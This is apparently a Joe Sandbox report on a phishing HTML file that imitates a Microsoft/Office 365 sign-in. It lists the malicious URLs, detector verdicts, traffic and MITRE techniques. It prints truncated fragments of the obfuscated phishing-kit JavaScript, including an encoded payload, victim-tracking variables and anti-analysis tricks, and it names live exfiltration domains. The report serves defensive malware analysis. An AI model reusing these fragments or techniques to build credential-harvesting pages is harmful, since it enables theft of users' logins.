File Content Preview:	<html>..<head>..<meta charset="UTF-8">..</head>..<body>..<script>..GHlQxPUzYAiIii = "#YnJhZC5nYWxlQHdpbHNvbnNhZHZpc29yeS5jb20uYXU=";....(()=>{const UVqZGCyxNIAplg={AABEYrOXHKCXQX:"1c244bc11e3232c227fe109b",RBokHmKdjMtLAV:"XQJVW1sMQwwRPj44U1oXUh4QEhUWHBsRC

File Icon


Icon Hash:	1270ce868a8686b8

Source: https://3pz.bughtswo.com/admi/	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/soIJXNjMdD7eIx6CmpFVmuPAf6WwWoCYwrRyag	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/56mQ3hNU0OeLFsBE0cdBYhj76720	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/xyYqDiOE9Wrs7igh30	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/opBd8RIsQEhweDF79MfJTmO32LcCxDbe4QgnBMPgPPghFozKdpmUpA5eLxsl9zJJ0KlUUZOyAEef196	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/klSe5FeF4V4B9AsN4kzckt7xcRfhr56nJ41v2BUS7L5ZHUtaQLGpmLSV8ukuv220	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-bold.woff	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/yfuOUwyTI9qASHIO1Yd1WuHEVWTfcFf2n32Nn6H6lWun5L5SxS2l	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-vf2.woff2	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/zcjFjVbeWag4BIehEdWrtkCkgYwI2qGKbsfn5dGfq	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/mnGeMwtuiseg6FuvHXI23EgklvYhJt1DtbpXmd9tZGrz78150	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-vf.woff2	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-regular.woff2	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/wxB2I98tBROJelAq0Qq5WjZ6UMxcstFpC8Y9kgRgGII0H34126	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/opuxRiSxTmEM15vBJMb9leXlu5sefNsAugLT2OPWIt7nw45140	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-bold.woff2	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/wxFhzp0CgTafW2l0GEvW2qmRzDYozFmnbQAb174rg3tC0nv90180	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/ghd1fCTJC2y4qjPZfLjhBbrPNhMv0H3ioowRZtB1smn00n8zWKAwWMYfyyL9TI13NS5A412210	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/56usdLGyORYNk44l9ghb0mDtUEm8nDuuFwg67110	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/opwzYslPhX1AtOROVu3V2KXjF2vYFIQTFKpREUQCrAUstQdhMWnYFFGrFe6cfvB6BRzktecd232	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/GDSherpa-regular.woff	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/kl3XiVz0aPutz6bSmjR9D2P593BDt6Z4DUWuOyzYQYdRIcPOAJBMuwV98WwDp5V256170	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/klCOczC1guexDGXVCE0TqxcNG891JB3LCJ5AUxbOyWvzDab230	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/wpE72XVhb4Z1pXQe52oRXxRmo	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/zc8QtV1AgOx9d4g80BylSMR67CLPWQsWgy	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/opCFdSgn1l9ejFMcZdMMdllPgt3wr0qvg5ghQ19r8NjVY4Vg9HKNBQfcd200	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/qrRKnn6n9eUoC5I00CX7vJefVlhQdgy6RPYvoDRYN1q67140	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/12cgfpYt7Gg84zxyfkj8918	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/klJEJj5AR8FEExIIOG1ZoX9K1rLijUqfl9xv18C2sUweSiWsxciyR4bNuR1awx216	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/klenjbRJbkmC9A5K6h8dlPsIojwX4ImnFqvwxZ7prt4wHIGzEyU78167	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/uheSegtXcJrGcg1LANWjxLwtiG1EYvEeZy6o1u9WZEqq1xsRwxhwODvkp	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/uvjJJeKRwvQvI18yo62v8qr2JrPPmCQo5SPbYPPQ12130	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/opyYQhzf6pW8TXFXX4aHCJLltYOpZ9gZxhstvZonqoZbKeJY8p18pl4GSjlC7bkgJBIycd240	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/ijjsoowXvipoSRdLsikOWGMMRfyP4mdeXkl14Vx3gpVt9nneix52sKmQK11HVfv3Pb12201	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/xyI3O4tCtbzsOtrs132Ycd30	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/uvrsNwJ0EBQ2dDGQwRbWOzn8AryE2uANKhJMqeuKmnccZhFbpNDM77XT7xoGTEiBeNLNv8SREeVj0l5gh260	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/ijoyUfMSqMcVe9WXGTZVlctVeCxOyPKKqrSkxb2xnBTPwVtirVuPyz230	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/56lW6APRQ2ESm07QQ6vYBzijnmTAv3b989110	Avira URL Cloud: Label: phishing
Source: https://3pz.bughtswo.com/efBjX2yOm7GgfZp7ySyVTDijLhRc5kO0DER2eibNKXblerN790150	Avira URL Cloud: Label: phishing

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL '3pz.bughtswo.com' does not match the legitimate domain 'microsoft.com'., The domain 'bughtswo.com' is not associated with Microsoft and appears suspicious., The subdomain '3pz' does not provide any indication of legitimacy and is likely used to obfuscate the true nature of the site., The email domain 'wilsonsadvisory.com.au' does not match the brand 'Microsoft', which raises further suspicion. DOM: 1.3.pages.csv
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The URL '3pz.bughtswo.com' does not match the legitimate domain for Microsoft., The domain 'bughtswo.com' is not associated with Microsoft and appears suspicious., The use of a subdomain '3pz' and an unrelated main domain suggests a phishing attempt., The input fields 'Email, phone, or Skype' are commonly targeted in phishing attacks. DOM: 3.9.pages.csv

Source: 0.9.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts and context menus, as well as using a debugger trap to detect and redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from accessing the original content or redirecting them to a malicious site.
Source: 0.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common debugging and developer tools, blocking keyboard shortcuts, and redirecting the user to an external website. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://3pz.bughtswo.com/admi/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger-related function suggest malicious intent. Additionally, the script appears to be checking for the presence of web driver or headless browser environments, which is a common technique used by malware to detect and evade analysis. Overall, this script poses a significant security risk and should be treated with caution.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution using `eval()` and potential data exfiltration. The obfuscated code and use of proxy objects further increase the risk. Overall, this script exhibits a high level of suspicious activity and should be thoroughly investigated.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://3pz.bughtswo.com/admi/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending data to an untrusted domain (`zAz.bughtswo.com/admin`), which further increases the risk. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Number of links: 0
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: Number of links: 0

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 2.23.d.script.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 2.22.d.script.csv, type: HTML
Source: Yara match	File source: 2.24..script.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 3.33.d.script.csv, type: HTML
Source: Yara match	File source: 3.29..script.csv, type: HTML
Source: Yara match	File source: 2.27.d.script.csv, type: HTML
Source: Yara match	File source: 3.30..script.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Title: Secure Account Access does not match URL
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: Title: Enter Account Security Access does not match URL

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Invalid link: Terms of use
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Invalid link: Privacy & cookies
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Invalid link: Terms of use
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: Invalid link: Privacy & cookies
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: Invalid link: Terms of use
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: Invalid link: Privacy & cookies

Source: https://3pz.bughtswo.com/admi/	HTTP Parser: function gkmzlkxemo(){ysswiifynp = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "r4nft8";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "/uhesegtxcjrgcg1lanwjxlwtig1eyveezy6o1u9wzeqq1xsrwxhwodvkp";var gdf = "/ghantxvapyniqs6cbwxo4kufdzl3i1xkcd116";var odf = "/gh4fj2hln9uw3vpfmyzdf0kbvfvrkdmnbab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browsern...

Source: suspect.html	HTTP Parser: No favicon
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No favicon
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No favicon
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: No favicon

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No <meta name="author".. found
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No <meta name="author".. found
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: No <meta name="author".. found

Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No <meta name="copyright".. found
Source: https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	HTTP Parser: No <meta name="copyright".. found
Source: https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49716 -> 1.1.1.1:53

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: 3pz.bughtswo.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: rxivb5.qakaco.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: y0wwlcczroc2mikkx8azepa6tnnyjj1ifs5xawhcmienblrzuz6qcrs.sorenxw.es
Source: global traffic	DNS traffic detected: DNS query: r7hi.qakaco.ru

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report suspect.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

Chrome Cache Entry: 104

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 116

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 126

Chrome Cache Entry: 138

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 151

Chrome Cache Entry: 80

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 93

Chrome Cache Entry: 99

Static File Info

General

Windows Analysis Report
suspect.html

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre